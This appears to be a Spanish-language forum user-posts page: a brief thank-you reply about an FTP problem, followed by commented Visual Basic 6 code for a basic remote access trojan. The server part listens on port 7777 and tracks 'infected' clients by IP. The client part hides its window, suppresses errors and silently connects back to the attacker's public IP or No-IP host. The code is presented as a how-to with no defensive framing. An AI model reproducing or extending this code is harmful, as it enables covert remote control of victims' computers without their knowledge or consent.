1
Dudas Generales / Re:Problema subiendo un archivo por FTP (Revista 6)
« en: Marzo 19, 2012, 07:04:30 pm »
Gracias, despues lo pruebo y te digo!!
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
Public ConexionesTotales As Integer 'Definimos ConexionesTotales como un Integer
Public IndexAbrir As Integer 'Lo mismo que el de arriba pero IndexAbrir
Private Sub Form_Load() 'Cargamos el Form
On Error Resume Next 'Si hay algun error, que siga la aplicación, que no se muestre el error
Winsock1(0).Close 'Cerramos las conexiones
Winsock1(0).LocalPort = 7777 'Definimos el puerto de conexión a 7777 (podeis cambiarlo al que querais)
Winsock1(0).Listen 'Escuchamos en el puerto anterior
ConexionesTotales = 0 'Decimos que ConexionesTotales es 0
End Sub 'Fin del cargado del Form
Private Sub Timer1_Timer() 'Cargamos el Timer1
On Error Resume Next 'Si hay algun error, sigue la aplicacion
Dim i As Long 'Definimos i
For i = 1 To ListaInfectados.ListItems.Count 'Es un bucle que se ejecuta en todos los ListItem del ListaInfectados
If Winsock1(0).State <> 7 Then 'Si no esta conectado
ListaInfectados.ListItems.Remove (i) 'Eliminamos la conexion
End If
Next i
End Sub 'Fin del cargado del Timer1
Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)'Cargamos el Winsock1
ConexionesTotales = ConexionesTotales + 1 'Decimos que las ConexionesTotales son lasConexionesTotales+1
Winsock1(Index).Close 'Cerramos la conexion
Winsock1(Index).Accept requestID 'Aceptamos esta conexion
Load Winsock1(Index + 1) 'Cargamos el Winsock1 con un Index mas 1 conexion
Winsock1(Index + 1).LocalPort = 7777 'Nos ponemos a escuchar el puerto 7777
ListaInfectados.ListItems.Add(1).Text = "Conectado" 'Agregamos un campo al ListaInfectados (en Estado)
ListaInfectados.ListItems.Item(1).ListSubItems.Add = Winsock1(Index).RemoteHostIP 'Lo de antes pero de IP
IndexAbrir = Index + 1 'El IndexAbrir es Index + 1
Winsock1(IndexAbrir).Listen 'Escuchamos todas nuestras conexiones
End Sub 'Fin del cargado del Winsock1
Private Sub Form_Load() 'Cargamos el Form
On Error Resume Next 'Si hay errores que siga adelnte
Me.Hide 'Que no se vea el Form
Winsock1.Close 'Cerramos la conexion si habia
Winsock1.Connect "TU IP Publica o NO-IP", 7777 'Nos conectamos a la IP que pongas con el puerto que quieras
If Err Then Exit Sub 'Esto no se que es, pero supongo que es para que si hay algun error se cierre el proceso
End Sub 'Fin del cargado del Form